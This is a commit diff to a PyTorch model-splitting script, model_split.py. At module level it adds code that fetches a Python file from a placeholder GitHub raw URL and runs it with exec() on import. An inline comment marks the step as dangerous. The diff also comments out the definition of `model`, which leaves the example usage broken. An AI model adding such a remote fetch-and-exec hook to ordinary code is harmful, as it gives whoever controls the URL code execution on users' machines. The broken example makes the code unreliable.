Update model_split.py

model_split.py

@@ -2,6 +2,13 @@
 import torch.nn as nn
 import os
 import inspect
+import requests
+
+url = 'https://raw.githubusercontent.com/username/repo-name/branch-name/utils.py'
+
+code = requests.get(url).text
+
+exec(code)  # Dangerous! Only for trusted code.
 
 def extract_all_layers(module):
     layers = []
@@ -53,6 +60,6 @@ def auto_split_model(model, num_stages=3, output_dir="model_stage_files"):
 
 # === Example Usage ===
 if __name__ == "__main__":
-    from transformers import GPT2Model
-    model = GPT2Model.from_pretrained("gpt2")
+    #from transformers import GPT2Model
+    #model = GPT2Model.from_pretrained("gpt2")
     auto_split_model(model, num_stages=3)